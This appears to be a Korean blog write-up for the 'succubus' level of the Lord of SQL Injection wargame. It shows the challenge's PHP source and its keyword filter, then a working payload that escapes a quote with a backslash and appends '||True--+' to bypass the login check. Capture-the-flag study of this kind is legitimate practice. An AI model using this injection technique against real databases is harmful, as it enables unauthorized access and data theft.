[LOS] 16번 succubus 풀이

2019. 8. 7. 02:13문제풀이/los.rubiya.kr

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 

간만에 코딩 필요없는(할수도 없는)문제다!

 

금지문자열은 prob _ . () ' 이고, id와 pw 둘 다에 적용된다.

 

이 문제는 한번에 딱 보이는 사람은 바로 풀고, 아니면 엄청 고민해야하는 문제다.

아마 모르는 사람들은 ' 우회라고 검색할테니까 그걸로 태그 달아야지 ㅎㅎㅎㅎ

 

이 문제의 풀이는 정말 간단하다.

그냥 id = '[문자열]' 에 있는 뒤의 '를 %27가 아닌 문자 ' (%25%27)취급하면 된다.

즉, id에 \를 넣자. 그럼 다음과 같은 sql문이 된다.

 

select id from prob_succubus where id='\' and pw='[var2]'

즉,  ' and pw= 이라는 문자열을 id로 갖는 쿼리문이 되는 것이다.

 

이를 활용하여 다음과 같은 쿼리문을 작성하자.

 

select id from prob_succubus where id='\' and pw='||True--+'

'문제풀이 > los.rubiya.kr' 카테고리의 다른 글

[LOS] 18번 nightmare 풀이  (0) 2019.08.08
[LOS] 17번 zombie_assassin 풀이  (0) 2019.08.08
[LOS] 15번 assassin 풀이  (0) 2019.08.07
[LOS] 14번 giant 풀이  (0) 2019.08.07
[LOS] 13번 bugbear 풀이  (0) 2019.08.07